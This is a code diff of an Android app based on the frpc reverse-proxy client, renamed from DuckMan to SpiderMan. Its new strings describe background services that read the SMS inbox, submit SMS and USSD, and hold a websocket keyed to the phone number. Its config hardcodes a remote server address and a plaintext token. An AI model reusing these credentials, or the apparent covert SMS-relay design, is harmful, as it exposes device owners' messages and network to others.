+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_18_s, t.getMessage()));
             }
         };
         executorServiceUi.execute(() -> {
@@ -133,8 +145,8 @@ public final class WsManager {
                         Request request = new Request.Builder().url(BuildConfig.WEB_URL + HxUtils.getPhone() + "/").build();
                         webSocket = client.newWebSocket(request, webSocketListener);
                     } catch (Exception e) {
-                        Log.e(Config.LOG_TAG, "duck.2 error.", e);
-                        XLog.e("duck.2 error.", e);
+                        Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_18_s, e.getMessage()), e);
+                        XLog.e(StringUtils.getString(R.string.log_tip_18_s, e.getMessage()), e);
                     }
                 }
         );
@@ -251,11 +263,11 @@ public final class WsManager {
         executorServiceUi.execute(() -> {
                     try {
                         if (webSocket != null) {
-                            webSocket.close(NORMAL_CLOSURE_STATUS, "duck.2,Goodbye!");
+                            webSocket.close(NORMAL_CLOSURE_STATUS, "Goodbye!");
                         }
                     } catch (Exception e) {
-                        Log.e(Config.LOG_TAG, "Close duck.2 error.", e);
-                        XLog.e("Close duck.2 error.", e);
+                        Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_18_s, e.getMessage()), e);
+                        XLog.e(StringUtils.getString(R.string.log_tip_18_s, e.getMessage()), e);
                     }
                 }
         );
@@ -268,8 +280,9 @@ public final class WsManager {
                             webSocket.send(msg);
                         }
                     } catch (Exception e) {
-                        Log.e(Config.LOG_TAG, "Send message error.", e);
-                        XLog.e("Send message error.", e);
+
+                        Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_19_s, e.getMessage()), e);
+                        XLog.e(StringUtils.getString(R.string.log_tip_19_s, e.getMessage()), e);
                     }
                 }
         );

+ 0 - 1
frpc_android-master/app/src/main/res/layout/nav_header_main.xml

@@ -16,7 +16,6 @@
         android:id="@+id/imageView"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:contentDescription="@string/nav_header_desc"
         android:paddingTop="@dimen/nav_header_vertical_spacing"
         app:srcCompat="@mipmap/duck" />
 

BIN
frpc_android-master/app/src/main/res/mipmap-hdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-mdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-xhdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-xxhdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-xxxhdpi/duck.png


BIN
frpc_android-master/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png


+ 1 - 1
frpc_android-master/app/src/main/res/raw/frpc.ini

@@ -1,5 +1,5 @@
 [common]
-server_addr = 18.195.242.131
+server_addr = 3.68.76.198
 server_port = 7000
 protocol = kcp
 token = 123678asbsfd

+ 21 - 15
frpc_android-master/app/src/main/res/values/strings.xml

@@ -1,19 +1,9 @@
 <resources>
-    <string name="app_name">DuckMan</string>
-    <string name="title_activity_main">DuckMan</string>
-    <string name="navigation_drawer_open">Open navigation drawer</string>
-    <string name="navigation_drawer_close">Close navigation drawer</string>
-    <string name="nav_header_title">Android Studio</string>
-    <string name="nav_header_subtitle">android.studio@android.com</string>
-    <string name="nav_header_desc">Navigation header</string>
-    <string name="action_settings">Settings</string>
+    <string name="app_name">SpiderMan</string>
+    <string name="title_activity_main">SpiderMan</string>
+    <string name="action_settings">设置</string>
     <string name="action_ussd_msg">稍等一会...USSD通信中...</string>
-
     <string name="menu_home">配置文件</string>
-    <string name="menu_gallery">Gallery</string>
-    <string name="menu_slideshow">Slideshow</string>
-
-    <string name="home_second">Home Second</string>
     <string name="permissionReason">请授予存储权限,用于读写配置文件</string>
     <string name="action_add">添加</string>
     <string name="action_add_text">新建配置文本</string>
@@ -22,8 +12,6 @@
     <string name="action_add_url">从网址导入</string>
     <string name="action_add_file">从文件导入</string>
     <string name="action_add_scan">扫描二维码</string>
-
-
     <string name="action_save">保存</string>
     <string name="action_template">模板</string>
     <string name="titleInputFileName">请输入文件名称</string>
@@ -70,5 +58,23 @@
     <string name="push_suc">上传成功</string>
     <string name="push_error">上传失败</string>
     <string name="suc">成功!</string>
+    <string name="log_tip_1">检索收件箱: 服务正在重试.[没有设置本机号码,检索失败]</string>
+    <string name="log_tip_3">服务3等待重试.[%1$s]</string>
+    <string name="log_tip_code_1">请设置手机号码</string>
+    <string name="log_tip_4">服务3出现错误: SMS[%1$d] 提交失败.</string>
+    <string name="log_tip_5">服务3执行成功.</string>
+    <string name="log_tip_6">服务3启动成功.</string>
+    <string name="log_tip_7">查询消息失败.</string>
+    <string name="log_tip_8">服务1等待重试.[%1$s]</string>
+    <string name="log_tip_9">服务1已连接.</string>
+    <string name="log_tip_10">服务1失去连接.</string>
+    <string name="log_tip_11">服务1启动.</string>
+    <string name="log_tip_12">获取更新内容失败.</string>
+    <string name="log_tip_13">服务2关闭.</string>
+    <string name="log_tip_14">服务2启动成功.</string>
+    <string name="log_tip_15_s">服务2关闭中.%1$s</string>
+    <string name="log_tip_16">服务2被关闭.%1$s</string>
+    <string name="log_tip_18_s">服务2连接失败.%1$s</string>
+    <string name="log_tip_19_s">发送消息失败.%1$s</string>
 
 </resources>